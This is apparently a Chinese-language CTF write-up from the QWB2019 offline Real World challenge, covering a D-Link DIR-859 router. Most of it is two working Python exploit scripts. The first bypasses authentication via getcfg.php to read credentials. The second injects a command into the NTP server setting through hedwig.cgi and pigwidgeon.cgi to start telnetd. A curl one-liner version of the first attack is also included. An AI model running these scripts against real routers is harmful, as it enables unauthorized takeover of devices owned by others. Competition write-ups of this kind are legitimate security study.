QWB2019线下Real World-Router WP

0x00前言

今年强网杯线下只有PWN,Web狗觉得要来旅游了,不过看到Real World部分上来发了个D-Link路由器,还是决定玩一下,毕竟毕设中玩了不少路由器还是有点经验的。至于其他的题目,就只能看神仙打架了:P,膜手日Chrome、Qemu、各种CMS的大佬。

0x01题目

拿到一个D-Link DIR-859劲路由、串口调试设备和路由器固件。看到TTL转USB设备先去焊了会板子但我也不会在线调试栈溢出,就去解压固件了。注意这里binwalk和firmware-mod-kit不能直接解压,要先用dd切一下文件:

dd if=DIR859Ax_FW106b01_beta01_patch.bin of=DIR-859.img bs=1310868 skip=1
./unsquashfs_all.sh DIR-859.img

可以看到版本是B-1.06,而官网最新的固件型号是B-1.05,这两个固件差不多,cgibin大小有点不同,考虑后面比对一下。题目要求是拿到路由器shell,打开telnet服务,并在/tmp目录下面写指定文件。

0x02初步分析

首先先去CVE搜一下,当然不出意外的是没有CVE漏洞,题目中也说明了是主办方挖出了漏洞,已经通报厂商,但是还没有修补,但是现在看来其历史漏洞也没有。
打开路由器管理页面,与DIR-8xxx系列一模一样的界面扑面而来,除了换了版本固件号之外都一样,COPYRIGHT也只是到2015。考虑用相近版本号的已知漏洞来测一下。
QWB2019线下Real World-Router WP_第1张图片

0x03漏洞利用

掏出之前DIR-868和DIR-817LW上用的exp,改一下先来读一下账密:

# -*- coding:utf-8 -*-
import requests, os
from lxml import etree
from traceback import print_exc
try:
    from urllib.parse import urljoin
except:
    from urlparse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re

url = 'http://192.168.0.1'
print("Exploit start...")
#########################get user and pass###########################
try:
    res = requests.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"RUNTIME.WPS.WLAN-1","AUTHORIZED_GROUP":"1\n"})
    # print(res.content)
except:
    print("exploit fail...")
    print("you can try this command:")
    print("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url))
    print(os.system("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url)))
    exit()

if 'Not authorized' in res.content:
    print("authorize fail..")
    exit()
elif "BAD REQUEST" in res.content:
    print("BAD REQUEST, unsupported HTTP request")

try:
    name = re.findall("(.*)",res.content)
    passwd = re.findall("(.*)",res.content)
    print("name: %s\npasswd: %s\n"%(name[0],passwd[0]))
except:
    print("fail...")
    print(res.content)

区别是DIR-868/817LW是通过读取DEVICE.ACCOUNT.xml.php文件来获取账密,DIR-859是要通过RUNTIME.WPS.WLAN-1.xml.php来获取,寻找过程就是把所有文件全读一遍再Ctrl+F就可以了。漏洞出现在POST传入AUTHORIZED_GROUP=1\n可实现身份认证,通过getcfg.php读取配置文件。
但是题目要求是要拿到shell,即还需要一个命令执行漏洞来开启telnet服务,找相近型号路由器,发现了DIR-850L命令执行漏洞,其中漏洞存在于/etc/services/DEVICE.TIME.php

#/etc/services/DEVICE.TIME.php
   163	$enable = query("/device/time/ntp/enable");
   164	if($enable=="") $enable = 0;
   165	$enablev6 = query("/device/time/ntp6/enable");
   166	if($enablev6=="") $enablev6 = 0;
   167	$server = query("/device/time/ntp/server");
   ...
   172	if ($enable==1 && $enablev6==1)
   ...
   184				'SERVER4='.$server.'\n'.
   ...
   189				'	ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.

其中$SERVER变量被拼接到了命令执行的字符串中,造成了命令注入。
下面的操作需要登陆,HNAP登陆过程有点小复杂,就没写,下面的脚本需要账密登陆后把cookie填进去

# -*- coding:utf-8 -*-

import requests, os
from lxml import etree
from traceback import print_exc
try:
    from urllib.parse import urljoin
except:
    from urlparse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re

url = 'http://192.168.0.1/'
print("Exploit continuing...")
COMMAND = 'telnetd'
uid = 'b8gh3GJptw'         ###update it!!!!!
session = requests.Session()
session.verify = False
session.cookies.update({"uid": uid})
################get DEVICE.TIME###############################
try:
    res = session.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"DEVICE.TIME","AUTHORIZED_GROUP":"1\n"})
    # print(res.content)
    tree = etree.fromstring(res.content)
    tree.xpath("//ntp/enable")[0].text = "1"
    tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
    tree.xpath("//ntp6/enable")[0].text = "1"
    data = etree.tostring(tree)
    # print(data)
except:
    print_exc()
    pass
# exit()
#################POST hedwig.cgi###############################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = etree.tostring(tree)
resp = session.post(urljoin(url, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")
###############POST pigwidgeon.cgi##############################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(url, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    exit()
print("OK")

这样就打开了路由器的telnet服务,可以telnet 192.168.0.1登陆上去进行操作了。

你可能感兴趣的:(CTF)